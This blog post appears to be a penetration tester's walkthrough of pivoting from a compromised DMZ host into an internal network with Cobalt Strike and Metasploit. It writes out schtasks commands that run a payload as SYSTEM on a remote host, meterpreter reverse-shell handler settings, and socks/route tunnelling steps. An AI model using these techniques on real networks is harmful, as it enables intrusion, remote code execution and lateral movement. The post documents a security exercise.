Basic Pivoting with Cobaltstrike and Metasploit
Last week we participated in a virtual
network pentest in order to test our skills and the security of the network as
well. During the pentest we encountered various problems during the host
pivoting, so we wrote down the difficulties that we faced and how to solve them.
Among various problems that we have faced was the initial beacon from the DMZ
zone. Since, the web delivery could not executed, we have moving into https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1,
a powershell script from nishang tool which is created from Nikhil Mittal.
As the most real case scenarios so
and this, the internal network seating behind a DMZ zone. So our first
objective is to compromise somehow the external DMZ network and then we will
use MSF and CobaltStrike to hope between hosts.
CobaltStrike Pivoting
After enumerating the external network
which we managed to upload a php file and execute system commands on the remote
machine. After enumerating the host, we noted that the AV was disabled and the
web delivery executed successfully on the victim.
Figure 1 - Host IP 172.16.1.10 (DMZ)
Figure 2 - Beacon 172.16.1.10 (DMZ)
We will not go through the
enumeration process because in this article we want to focus more on how to
pivot into internal hosts. Somehow, we noted that our user had “SeImpersonatePrivilege”
privilege enabled and after scanning the compromised host we were able to find
the credentials in plaintext form from various domain users. One of those users
had admin privileges into another domain host (192.168.1.200). To move laterally
you can use various ways and not only the above that we have used:
· Create
remotely a service into the host
Create
remotely a schedule task into the host
Psexec etc
References:
Before we moved on laterally, we
have to set up a “Pivot” listener to the compromised host. In our case is the
172.16.1.10
Figure 3 – Setup a pivot listener on 172.16.1.10 (DMZ)
After setup, the new pivot listener
of the CobaltStrike automatically executed the rportfwd command.
Figure 5 – Create a stageless executable file on 172.16.1.10
(DMZ) using as stage the new pivot listener
Our malicious executable file was
created and we were able to upload it to the remote network resource on
192.168.1.200. Additionally, we have to create a service which is linked with
that file in order to get a beacon from the remote host (192.168.1.200).
Figure 6
Figure 6,7 –
Upload the malicious file, create and execute remotely a service (192.168.1.200)
Figure 8 – Beacon from 192.168.1.200 (PID 12568)
An alternative way of lateral movement is the creation of schedule task
- schtasks /create /s 192.168.1.200 /ru SYSTEM /sc MINUTE /MO 10 /tn pwned /tr "C:\windows\temp\service01.exe"
- schtasks /Run /TN pwned /s 192.168.1.200
Before we moving on, you may think that smb_pipe listener is also a good choice but not in our case because every time we wanted to scan the internal network using smb_pipe listener combined with proxychains, the nmap was throwing errors.
Our next goal is somehow to reach the 192.168.1.10. Now that we have setup our listeners and all are working as intended, we have to set up a socks4 proxy server on the latest listener with PID 12568 in order to scan with Nmap the internal network host.
Figure 9 – Setup socks4a proxy server on 192.168.1.200
(PID 12568)
After scanning the internal network
host (129.168.1.10) we noted that the port 3389 was open and during the
enumeration process we were able to find a domain user who had remote desktop
privileges on some hosts.
Figure 11 – Execute xfreerdp with proxychains
Figure 12 – RDP connection with 192.168.1.10
In order to avoid the RDP
connection for a long time for various reasons, we have created a new stageless
executable file and as a stage listener we have used the “pivot_listener”.
Figure 13 – Create a new stageless executable file
Figure 14 – Grab a beacon from 192.168.1.10
Metasploit Pivoting
The initial step for getting a
shell back does not differ from the cobaltstrike. That time we have created an executable file using
msfvenom and we have managed to upload it to the remote host which we are able
to execute commands remotely.
Figure 1 – Create and upload msf.exe to the remote host (172.16.1.10)
Figure 2 – Grab a meterpreter connection from the remote
host (172.16.1.10)
Figure 3 – Add routes to Metasploit
To be able to hop from 172.16.1.10 to 192.168.1.200 with metasploit, we have to set the payload option LHOST, which is the ip address from the host that we already have a session (172.16.1.10).
When we execute our exploit, the MSF will open the port 4445 on the 172.16.1.10 which will wait for a connection.
Figure 4 – Setup psexec on the host 172.16.1.10
The next steps are the same as cobaltstrike’s.
We have added our routes, we have a session with the DMZ host & setup
socks4 server on our MSF. The only thing that remains is to connect with
proxychains & xfreerdp to the host 192.168.1.8 and drop the executable
which will give us a meterpreter when is executed.
Sending Meterpreter through Cobaltstrike
Our next question after we
successfully setup both frameworks as we wanted was “How we can forward a
Meterpreter through Cobaltstrike BUT NOT only the first beacon from DMZ?”
On the following screenshot you can
observe the listeners that we have setup on the cobaltstrike.
Listeners:
·
Malakoulis:
Grabs a beacon from the DMZ host 172.16.1.10
·
Pivot:
This listener was set up after getting the initial beacon from DMZ host. The
traffic to the internal network 192.168.1.0/24 is going to use this listener.
·
msf_fore:
We need this listener to forward the beacon session that we already have with
172.16.1.10 to MSF on port 9999. Don’t forget to setup your MSF on port 9999:
User
exploit/multi/handler
Set
payload windows/meterpreter/reverse_tcp ->Lhost: Lport:
9999
**Very important step after
getting the meterpreter session is to add this both routes to MSF
route
add 172.16.1.0 255.255.255.0
route
add 192.168.1.0 255.255.255.0
·
msf2: This listener is the most important
because it will forward the meterpreter traffic from internal network through
beacons to our MSF. That’s why it has different configuration from the previous
one. The host is not the attackers IP but the ip of the host in DMZ and the
same configuration MUST have the payload on the Meterpreter
(LHOST=172.16.1.10).
Tunnel Meterpreter through Cobaltstrike – Extra Mile
We were able also to tunnel some
auxiliary modules through cobaltstrike using the following command
1.
set Proxies
socks4:192.168.1.200:12345
2.
setg
ReverseAllowProxy true
Reference:
Comments
Post a Comment